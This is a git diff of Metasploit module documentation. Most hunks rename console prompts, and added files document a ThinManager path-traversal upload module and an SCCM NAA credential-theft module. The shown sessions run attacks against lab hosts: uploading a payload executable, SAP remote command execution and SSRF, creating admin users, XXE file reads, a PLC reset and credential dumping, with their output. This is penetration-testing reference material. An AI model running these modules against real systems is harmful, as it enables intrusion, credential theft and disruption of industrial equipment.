auxiliary(admin/networking/thinmanager_traversal_upload) > run +``` + +This should upload the local file specified through LFILE to the server, as specified in RFILE. + +## Options + +### LFILE +Specifies the local file to upload to the remote server. + +### RFILE +Specifies the remote file location where the file will be uploaded to. + +## Scenarios + +Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following: + +``` +msf auxiliary(admin/networking/thinmanager_traversal_upload) > run +[*] Running module against 192.168.137.227 + +[*] 192.168.137.227:2031 - Running automatic check ("set AutoCheck false" to disable) +[!] 192.168.137.227:2031 - The service is running, but could not be validated. +[*] 192.168.137.227:2031 - Sending handshake... +[*] 192.168.137.227:2031 - Received handshake response. +[*] 192.168.137.227:2031 - Read 27648 bytes from /tmp/payload.exe +[*] 192.168.137.227:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host... +[*] 192.168.137.227:2031 - Upload request length: 27752 bytes +[!] 192.168.137.227:2031 - No response received after upload. +[+] 192.168.137.227:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target. +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/admin/networking/thinmanager_traversal_upload2.md b/documentation/modules/auxiliary/admin/networking/thinmanager_traversal_upload2.md new file mode 100644 index 0000000000000..63c314f3ac8a1 --- /dev/null +++ b/documentation/modules/auxiliary/admin/networking/thinmanager_traversal_upload2.md @@ -0,0 +1,62 @@ +## Vulnerable Application + +This module exploits a path traversal vulnerability in ThinManager <= v13.1.0 (CVE-2023-2917) to upload an arbitrary file to the target +system. + +The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM. + +## Testing + +The software can be obtained from +[the vendor](https://thinmanager.com/downloads/). + +**Successfully tested on** + +- ThinManager v13.1.0 on Windows 22H2 +- ThinManager v13.0.1 on Windows 22H2 +- ThinManager v12.0.0 on Windows 22H2 +- ThinManager v12.1.5 on Windows 22H2 +- ThinManager v12.0.4 on Windows 22H2 + +## Verification Steps + +1. Install and run the application +2. Start `msfconsole` and run the following commands: + +``` +msf > use auxiliary/admin/networking/thinmanager_traversal_upload2 +msf auxiliary(admin/networking/thinmanager_traversal_upload2) > set RHOSTS +msf auxiliary(admin/networking/thinmanager_traversal_upload2) > set LFILE +msf auxiliary(admin/networking/thinmanager_traversal_upload2) > set RFILE +msf auxiliary(admin/networking/thinmanager_traversal_upload2) > run +``` + +This should upload the local file specified through LFILE to the server, as specified in RFILE. + +## Options + +### LFILE +Specifies the local file to upload to the remote server. + +### RFILE +Specifies the remote file location where the file will be uploaded to. + +## Scenarios + +Running the exploit against ThinManager v13.1.0 on Windows 22H2 should result in an output similar to the following: + +``` +msf auxiliary(admin/networking/thinmanager_traversal_upload2) > run +[*] Running module against 192.168.137.229 + +[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable) +[!] 192.168.137.229:2031 - The service is running, but could not be validated. +[*] 192.168.137.229:2031 - Sending handshake... +[*] 192.168.137.229:2031 - Received handshake response. +[*] 192.168.137.229:2031 - Read 27648 bytes from /tmp/payload.exe +[*] 192.168.137.229:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host... +[*] 192.168.137.229:2031 - Upload request length: 27752 bytes +[!] 192.168.137.229:2031 - No response received after upload. +[+] 192.168.137.229:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target. +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/admin/networking/ubiquiti_config.md b/documentation/modules/auxiliary/admin/networking/ubiquiti_config.md index 623ff64a1f387..1a783aaf74e24 100644 --- a/documentation/modules/auxiliary/admin/networking/ubiquiti_config.md +++ b/documentation/modules/auxiliary/admin/networking/ubiquiti_config.md @@ -64,9 +64,9 @@ resource (unifi_config.rb)> run resource (unifi_config.rb)> use auxiliary/admin/networking/ubiquiti_config resource (unifi_config.rb)> set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 auxiliary(admin/networking/ubiquiti_config) > set config /root/.msf4/loot/db +msf auxiliary(admin/networking/ubiquiti_config) > set config /root/.msf4/loot/db config => /root/.msf4/loot/db -msf5 auxiliary(admin/networking/ubiquiti_config) > run +msf auxiliary(admin/networking/ubiquiti_config) > run [*] Running module against 127.0.0.1 [*] Converting config BSON to JSON diff --git a/documentation/modules/auxiliary/admin/networking/vyos_config.md b/documentation/modules/auxiliary/admin/networking/vyos_config.md index bb6ed12c84fe7..1c7ff04478f2d 100644 --- a/documentation/modules/auxiliary/admin/networking/vyos_config.md +++ b/documentation/modules/auxiliary/admin/networking/vyos_config.md @@ -195,16 +195,16 @@ File path to the configuration file. ### VyOS 1.1.8 ``` -msf6 > use auxiliary/admin/networking/vyos_config -msf6 auxiliary(admin/networking/vyos_config) > set config /tmp/vyos.config +msf > use auxiliary/admin/networking/vyos_config +msf auxiliary(admin/networking/vyos_config) > set config /tmp/vyos.config config => /tmp/vyos.config -msf6 auxiliary(admin/networking/vyos_config) > set verbose true +msf auxiliary(admin/networking/vyos_config) > set verbose true verbose => true -msf6 auxiliary(admin/networking/vyos_config) > run +msf auxiliary(admin/networking/vyos_config) > run [-] Auxiliary failed: Msf::OptionValidateError One or more options failed to validate: RHOSTS. -msf6 auxiliary(admin/networking/vyos_config) > set rhosts 1.1.1.1 +msf auxiliary(admin/networking/vyos_config) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf6 auxiliary(admin/networking/vyos_config) > run +msf auxiliary(admin/networking/vyos_config) > run [*] Running module against 1.1.1.1 [*] Importing config diff --git a/documentation/modules/auxiliary/admin/registry_security_descriptor.md b/documentation/modules/auxiliary/admin/registry_security_descriptor.md index 912455dc54c88..1ca8446916fab 100644 --- a/documentation/modules/auxiliary/admin/registry_security_descriptor.md +++ b/documentation/modules/auxiliary/admin/registry_security_descriptor.md @@ -51,7 +51,7 @@ File path to store the security descriptor when reading or source file path used ### Read against Windows Server 2019 ``` -msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=READ key='HKLM\SECURITY\Policy\PolEKList' +msf auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=READ key='HKLM\SECURITY\Policy\PolEKList' [*] Running module against 192.168.101.124 [+] 192.168.101.124:445 - Raw security descriptor for HKLM\SECURITY\Policy\PolEKList: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000 @@ -62,7 +62,7 @@ msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192. Note that the information security has been set to 4 (DACL_SECURITY_INFORMATION) to avoid an access denied error. ``` -msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 key='HKLM\SECURITY\Policy\PolEKList' action=WRITE sd=01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000 security_information=4 +msf auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 key='HKLM\SECURITY\Policy\PolEKList' action=WRITE sd=01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000 security_information=4 [*] Running module against 192.168.101.124 [+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList @@ -72,7 +72,7 @@ msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192. ### Write against Windows Server 2019 (from file) ``` -msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=WRITE file=/tmp/remote_registry_sd_backup.yml +msf auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=WRITE file=/tmp/remote_registry_sd_backup.yml [*] Running module against 192.168.101.124 [*] 192.168.101.124:445 - Getting security descriptor info from file /tmp/remote_registry_sd_backup.yml diff --git a/documentation/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.md b/documentation/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.md index fef9d8c5d1c2a..bd215a3177b95 100644 --- a/documentation/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.md +++ b/documentation/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.md @@ -97,15 +97,15 @@ Example: `ping -c 4 1.1.1.1` ### Vulnerable SolMan 7.2 running on agent: test_linux with OS: Linux and java version: 1.8 ``` -msf6 > workspace -a SAP_TEST +msf > workspace -a SAP_TEST [*] Added workspace: SAP_TEST [*] Workspace: SAP_TEST -msf6 > use auxiliary/admin/sap/cve_2020_6207_solman_rce -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > set ACTION LIST +msf > use auxiliary/admin/sap/cve_2020_6207_solman_rce +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > set ACTION LIST ACTION => LIST -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > set RHOST 172.16.30.46 +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > set RHOST 172.16.30.46 RHOST => 172.16.30.46 -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > run +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > run [*] Running module against 172.16.30.46 [*] Getting a list of agents connected to the Solution Manager: 172.16.30.46 @@ -119,15 +119,15 @@ Connected Agents List test_linux saperp7.corp.test.com SMDA98 Linux 1.8.0_25 [*] Auxiliary module execution completed -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > set ACTION SSRF +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > set ACTION SSRF ACTION => SSRF -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > set AGENT test_linux +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > set AGENT test_linux AGENT => test_linux -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > set SSRF_METHOD PUT +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > set SSRF_METHOD PUT SSRF_METHOD => PUT -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > set SSRF_URI http://192.168.50.3:7777/ +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > set SSRF_URI http://192.168.50.3:7777/ SSRF_URI => http://192.168.50.3:7777/ -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > run +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > run [*] Running module against 172.16.30.46 [*] Enable EEM on agent: test_linux @@ -136,13 +136,13 @@ msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > run [*] Delete script: IqsDdgpc5Iwu on agent: test_linux [+] Send SSRF: 'PUT http://192.168.50.3:7777/ HTTP/1.1' from agent: test_linux [*] Auxiliary module execution completed -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > set ACTION EXEC +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > set ACTION EXEC ACTION => EXEC -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > set AGENT test_linux +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > set AGENT test_linux AGENT => test_linux -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > set COMMAND ping -c 4 192.168.50.3 +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > set COMMAND ping -c 4 192.168.50.3 COMMAND => ping -c 4 192.168.50.3 -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > run +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > run [*] Running module against 172.16.30.46 [*] Enable EEM on agent: test_linux @@ -151,13 +151,13 @@ msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > run [*] Delete script: Lu5BnHgzVehn on agent: test_linux [+] Execution command: 'ping -c 4 192.168.50.3' on agent: test_linux [*] Auxiliary module execution completed -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > set ACTION SECSTORE +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > set ACTION SECSTORE ACTION => SECSTORE -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > set AGENT test_linux +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > set AGENT test_linux AGENT => test_linux -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > set SRVHOST 192.168.50.3 +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > set SRVHOST 192.168.50.3 SRVHOST => 192.168.50.3 -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > run +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > run [*] Running module against 172.16.30.46 [*] Enable EEM on agent: test_linux @@ -172,7 +172,7 @@ msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > run [*] Delete script: ginMlA2izrNi on agent: test_linux [*] Server stopped. [*] Auxiliary module execution completed -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > creds +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > creds Credentials =========== @@ -180,7 +180,7 @@ host origin service public private realm priv ---- ------ ------- ------ ------- ----- ------------ ---------- 172.16.30.46 172.16.30.46 50000/tcp (soap) j2ee_admin asdQWE123 Password -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > services +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > services Services ======== @@ -188,7 +188,7 @@ host port proto name state info ---- ---- ----- ---- ----- ---- 172.16.30.46 50000 tcp soap open SAP Solution Manager -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > vulns +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > vulns Vulnerabilities =============== @@ -198,7 +198,7 @@ Timestamp Host Name 2021-03-27 17:49:37 UTC 172.16.30.46 SAP Solution Manager remote unauthorized OS commands execution CVE-2020-6207,URL-https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf,URL-https://github.com/chipik/SAP_EEM_CVE-2020-6207 2021-03-27 17:49:41 UTC 172.16.30.14 Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server CVE-2019-0307,URL-https://conference.hitb.org/hitblockdown002/materials/D2T1%20-%20SAP%20RCE%20-%20The%20Agent%20Who%20Spoke%20Too%20Much%20-%20Yvan%20Genuer.pdf -msf6 auxiliary(admin/sap/cve_2020_6207_solman_rce) > loot +msf auxiliary(admin/sap/cve_2020_6207_solman_rce) > loot Loot ==== diff --git a/documentation/modules/auxiliary/admin/sap/cve_2020_6287_ws_add_user.md b/documentation/modules/auxiliary/admin/sap/cve_2020_6287_ws_add_user.md index 3900f4f3a7df4..0f095c802c2f5 100644 --- a/documentation/modules/auxiliary/admin/sap/cve_2020_6287_ws_add_user.md +++ b/documentation/modules/auxiliary/admin/sap/cve_2020_6287_ws_add_user.md @@ -40,18 +40,18 @@ From the documentation: Example: Adding a new user `metasploit` with the `Administrator` role: ``` -msf5 > use auxiliary/admin/sap/cve_2020_6287_ws_add_user -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set RHOSTS netweaver.lan +msf > use auxiliary/admin/sap/cve_2020_6287_ws_add_user +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set RHOSTS netweaver.lan RHOSTS => netweaver.lan -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set USERNAME metasploit +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set USERNAME metasploit USERNAME => metasploit -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set PASSWORD 0pe3nS3sam3 +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set PASSWORD 0pe3nS3sam3 PASSWORD => 0pe3nS3sam3 -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > check +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > check [+] 192.168.53.183:50000 - The target is vulnerable. -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set VERBOSE true +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set VERBOSE true VERBOSE => true -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > run +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > run [*] Running module against 192.168.53.183 [*] Starting the PCK Upgrade job... @@ -63,27 +63,27 @@ msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > run [+] Successfully added the role to the new user [*] Canceling the PCK Upgrade job... [*] Auxiliary module execution completed -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > ``` Example: Removing the user `metasploit`: ``` -msf5 > use auxiliary/admin/sap/cve_2020_6287_ws_add_user -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set RHOSTS netweaver.lan +msf > use auxiliary/admin/sap/cve_2020_6287_ws_add_user +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set RHOSTS netweaver.lan RHOSTS => netweaver.lan -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set USERNAME metasploit +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set USERNAME metasploit USERNAME => metasploit -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set PASSWORD 0pe3nS3sam3 +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set PASSWORD 0pe3nS3sam3 PASSWORD => 0pe3nS3sam3 -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set ACTION REMOVE +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set ACTION REMOVE ACTION => REMOVE -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > run +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > run [*] Running module against 192.168.53.183 [+] Successfully deleted the user account [*] Auxiliary module execution completed -msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > +msf auxiliary(admin/sap/cve_2020_6287_ws_add_user) > ``` [1]: https://aws.amazon.com/marketplace/seller-profile?id=56cbce49-5486-4a83-a6b7-0fea3841da1b diff --git a/documentation/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.md b/documentation/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.md index e00e4a8b01478..82652aeb34bb9 100644 --- a/documentation/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.md +++ b/documentation/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.md @@ -62,21 +62,21 @@ set to `/igs/XMLCHART`. ### Vulnerable SAP IGS release: 7.45 running on SUSE Linux Enterprise Server for SAP Applications 12 SP1 ``` -msf6 > workspace -a SAP_TEST +msf > workspace -a SAP_TEST [*] Added workspace: SAP_TEST [*] Workspace: SAP_TEST -msf6 > use auxiliary/admin/sap/sap_igs_xmlchart_xxe -msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set RHOSTS 172.16.30.29 +msf > use auxiliary/admin/sap/sap_igs_xmlchart_xxe +msf auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set RHOSTS 172.16.30.29 RHOSTS => 172.16.30.29 -msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set FILE /etc/passwd +msf auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set FILE /etc/passwd FILE => /etc/passwd -msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set action READ +msf auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set action READ action => READ -msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set Proxies http:127.0.0.1:8080 +msf auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set Proxies http:127.0.0.1:8080 Proxies => http:127.0.0.1:8080 -msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set VERBOSE true +msf auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set VERBOSE true VERBOSE => true -msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > options +msf auxiliary(admin/sap/sap_igs_xmlchart_xxe) > options Module options (auxiliary/admin/sap/sap_igs_xmlchart_xxe): @@ -98,9 +98,9 @@ Auxiliary action: READ Remote file read -msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > check +msf auxiliary(admin/sap/sap_igs_xmlchart_xxe) > check [+] 172.16.30.29:40080 - The target is vulnerable. 172.16.30.29 running OS: SUSE Linux Enterprise Server for SAP Applications 12 SP1 returned a response indicating that its XMLCHART page is vulnerable to XXE! -msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > run +msf auxiliary(admin/sap/sap_igs_xmlchart_xxe) > run [*] Running module against 172.16.30.29 [+] File: /etc/passwd content from host: 172.16.30.29 @@ -134,7 +134,7 @@ sybj45:x:1002:1001:SAP Database Administrator:/sybase/J45:/bin/csh sapadm:x:1003:1001:SAP System Administrator:/home/sapadm:/bin/false [+] File: /etc/passwd saved in: /Users/vladimir/.msf4/loot/20201007131238_SAP_TEST_172.16.30.29_igs.xmlchart.xxe_346716.txt [*] Auxiliary module execution completed -msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > services +msf auxiliary(admin/sap/sap_igs_xmlchart_xxe) > services Services ======== @@ -142,7 +142,7 @@ host port proto name state info ---- ---- ----- ---- ----- ---- 172.16.30.29 40080 tcp http open SAP Internet Graphics Server (IGS) -msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > vulns +msf auxiliary(admin/sap/sap_igs_xmlchart_xxe) > vulns Vulnerabilities =============== @@ -151,7 +151,7 @@ Timestamp Host Name --------- ---- ---- ---------- 2020-10-07 10:12:37 UTC 172.16.30.29 SAP Internet Graphics Server (IGS) XMLCHART XXE CVE-2018-2392,CVE-2018-2393,URL-https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf -msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > loot +msf auxiliary(admin/sap/sap_igs_xmlchart_xxe) > loot Loot ==== diff --git a/documentation/modules/auxiliary/admin/scada/mypro_mgr_creds.md b/documentation/modules/auxiliary/admin/scada/mypro_mgr_creds.md index f1bad39c8a5db..e54740d7c4a44 100644 --- a/documentation/modules/auxiliary/admin/scada/mypro_mgr_creds.md +++ b/documentation/modules/auxiliary/admin/scada/mypro_mgr_creds.md @@ -31,9 +31,9 @@ A trial version of the software can be obtained from [the vendor](https://www.my 3. Start `msfconsole` and run the following commands: ``` -msf6 > use auxiliary/admin/scada/mypro_mgr_creds -msf6 auxiliary(admin/scada/mypro_mgr_creds) > set RHOSTS -msf6 auxiliary(admin/scada/mypro_mgr_creds) > run +msf > use auxiliary/admin/scada/mypro_mgr_creds +msf auxiliary(admin/scada/mypro_mgr_creds) > set RHOSTS +msf auxiliary(admin/scada/mypro_mgr_creds) > run ``` ## Scenarios @@ -42,7 +42,7 @@ Running the module against MyPRO Manager v1.3 on Windows 11, should result in an following: ``` -msf6 auxiliary(admin/scada/mypro_mgr_creds) > run +msf auxiliary(admin/scada/mypro_mgr_creds) > run [*] Running module against 192.168.1.78 [*] Running automatic check ("set AutoCheck false" to disable) @@ -54,7 +54,7 @@ msf6 auxiliary(admin/scada/mypro_mgr_creds) > run [+] User: user [+] Password: SuperS3cr3t! [*] Auxiliary module execution completed -msf6 auxiliary(admin/scada/mypro_mgr_creds) > creds +msf auxiliary(admin/scada/mypro_mgr_creds) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/admin/scada/pcom_command.md b/documentation/modules/auxiliary/admin/scada/pcom_command.md index e239c1f765ece..829a74c781b5f 100755 --- a/documentation/modules/auxiliary/admin/scada/pcom_command.md +++ b/documentation/modules/auxiliary/admin/scada/pcom_command.md @@ -11,8 +11,8 @@ ## Scenarios ``` -msf5 > use auxiliary/admin/scada/pcom_command -msf5 auxiliary(admin/scada/pcom_command) > show options +msf > use auxiliary/admin/scada/pcom_command +msf auxiliary(admin/scada/pcom_command) > show options Module options (auxiliary/admin/scada/pcom_command): @@ -23,12 +23,12 @@ Module options (auxiliary/admin/scada/pcom_command): RPORT 20256 yes The target port (TCP) UNITID 0 no Unit ID (0 - 127) -msf5 auxiliary(admin/scada/pcom_command) > set RHOST 192.168.1.1 +msf auxiliary(admin/scada/pcom_command) > set RHOST 192.168.1.1 RHOST => 192.168.1.1 -msf5 auxiliary(admin/scada/pcom_command) > run +msf auxiliary(admin/scada/pcom_command) > run [*] 192.168.1.1:20256 - Sending RESET command [*] 192.168.1.1:20256 - Command accepted [*] Auxiliary module execution completed -msf5 auxiliary(admin/scada/pcom_command) > +msf auxiliary(admin/scada/pcom_command) > ``` diff --git a/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md b/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md new file mode 100755 index 0000000000000..b31adb0189ec3 --- /dev/null +++ b/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md @@ -0,0 +1,150 @@ +## NAA Credential Exploitation + +The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but +in practice is often misconfigured to have excessive privileges. + +The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However, +it can also be requested by an existing computer account, which by default most user accounts are able to create. + + +## Module usage +The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions: + +1. From msfconsole +2. Do: `use auxiliary/admin/dcerpc/samr_account` +3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options + a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically + b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option + c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option +4. Run the module and see that a new machine account was added + +Then the `auxiliary/admin/sccm/get_naa_credentials` module can be used: + +1. `use auxiliary/admin/sccm/get_naa_credentials` +2. Set the `RHOST` value to a target domain controller (if LDAP autodiscovery is used) +3. Set the `USERNAME` and `PASSWORD` information to a domain account +4. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module +5. Run the module to obtain the NAA credentials, if present. + +Alternatively, if the Management Point and Site Code are known, the module can be used without autodiscovery: + +1. `use auxiliary/admin/sccm/get_naa_credentials` +2. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module +3. Set the `MANAGEMENT_POINT` and `SITE_CODE` to the known values. +4. Run the module to obtain the NAA credentials, if present. + +The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action. + +See the Scenarios for a more detailed walk through + +## Options + +### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST +Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery. + +### COMPUTER_USER, COMPUTER_PASSWORD + +Credentials for a computer account (may be created with the `samr_account` module). If you've retrieved the NTLM hash of +a computer account, you can use that for COMPUTER_PASSWORD. + +### MANAGEMENT_POINT +The SCCM server. + +### SITE_CODE +The Site Code of the management point. + +## Scenarios +In the following example the user `ssccm.lab\eve` is a low-privilege user. + +### Creating computer account + +``` +msf auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou +[*] Running module against 192.168.33.10 + +[*] 192.168.33.10:445 - Adding computer +[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-2KVDWNZ3$ +[+] 192.168.33.10:445 - Password: pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj +[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128 +[*] Auxiliary module execution completed +``` + +### Running with Autodiscovery +Using the credentials just obtained with the `samr_account` module. + +``` +msf auxiliary(admin/sccm/get_naa_credentials) > options + +Module options (auxiliary/admin/sccm/get_naa_credentials): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMPUTER_PASS yes The password of the provided computer account + COMPUTER_USER yes The username of a computer account + MANAGEMENT_POINT no The management point (SCCM server) to use + SITE_CODE no The site code to use on the management point + SSL false no Enable SSL on the LDAP connection + VHOST no HTTP server virtual host + + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION 1 no The session to run this module on + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DOMAIN no The domain to authenticate to + PASSWORD no The password to authenticate with + RHOSTS no The domain controller (for autodiscovery). Not required if providing a management point and site code + RPORT 389 no The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code (TCP) + USERNAME no The username to authenticate with + + +View the full module info with the info, or info -d command. +msf auxiliary(admin/sccm/get_naa_credentials) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj +[*] Running module against 192.168.33.10 + +[*] Discovering base DN automatically +[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab +[+] Found Management Point: MECM.sccm.lab (Site code: P01) +[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E +[*] Waiting 5 seconds for SCCM DB to update... +[*] Got NAA Policy URL: http:///SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00 +[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789 +[*] Auxiliary module execution completed +``` + +### Manual discovery + +``` +msf auxiliary(gather/ldap_query) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou +[*] Running module against 192.168.33.10 + +[*] 192.168.33.10:389 Discovered 